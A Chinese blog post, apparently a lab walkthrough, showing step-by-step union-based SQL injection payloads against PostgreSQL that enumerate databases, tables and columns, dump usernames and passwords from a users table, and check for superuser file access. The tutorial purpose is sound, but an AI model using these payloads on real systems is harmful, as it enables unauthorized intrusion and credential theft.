练习:SQL注入——PostgreSQL

发布于:2023-09-14 ⋅ 阅读:(133) ⋅ 点赞:(0)

PostgreSQL

墨者学院
1.首先确定有注入点,通过 下列payload 判断是否存在注入
在这里插入图片描述
2:测列数
order by 4正确

在这里插入图片描述
order by 5 错误
在这里插入图片描述
不同于mysql数据库的union select 1,2,3,4,该i数据库的使用null来替代,union select null,null,null,null,在中间输入之后同样使用and1=2来进行报错即使and 1=2 union select null,null,null,null

在这里插入图片描述
-测显位
依次序使其测出显位。在第二三位
and 1=2 union select ‘null’,null,null,null 错误
and 1=2 union select null,‘null’,null,null 正常
and 1=2 union select null,null,‘null’,null 正常
and 1=2 union select null,null,null,‘null’ 错误

在这里插入图片描述
-获取信息:
and 1=2 UNION SELECT null,version(),null,null 【version英文意思是版本】
在这里插入图片描述

and 1=2 UNION SELECT null,current_user,null,null 【获取数据库用户】

在这里插入图片描述
and 1=2 union select null,current_database(),null,null 【获取数据库名】
在这里插入图片描述
-获取所有数据库名:
and 1=2 union select null,string_agg(datname,‘,’),null,null from pg_database
在这里插入图片描述
-获取当前数据库下表名,两种写法都可:
1、and 1=2 union select null,string_agg(tablename,‘,’),null,null from pg_tables where schemaname=‘public’
2、and 1=2 union select null,string_agg(relname,‘,’),null,null from pg_stat_user_tables
在这里插入图片描述
获取列名
and 1=2 union select null,string_agg(column_name,‘,’),null,null from information_schema.columns where table_name=‘reg_users’
在这里插入图片描述
-获取数据:
and 1=2 union select null,string_agg(name,‘,’),string_agg(password,‘,’),null from reg_users

在这里插入图片描述
md 5 解密
总结:掌握顺序
第一:判读注入点
第二:测列数
第三:测显位
第四:获取信息:版本,用户名,数据库名
第五:获取所得数据库下的所有表名
第六:获取得其中表名
第七:获取数据
-获取数据:

and1=2 union select null,string_agg(name,‘,’),string_agg(password,‘,’),null from reg_users

-补充-获取dba(数据库管理员)用户(同样在DBA用户下,是可以进行文件读写的):

and1=2 union select null,string_agg(usename,‘,’),null,nullFROM pg_user WHERE usesuper ISTRUE 当使用该语句判断是否为true(就是判断出来的东西和你之前判断的是不是相同的)如果相同则,则当前注入点便是超级用户注入点,则可以进行文件读写

参考:https://www.freebuf.com/sectool/249371.html

本文含有隐藏内容,请 开通VIP 后查看

网站公告

今日签到

点亮在社区的每一天
去签到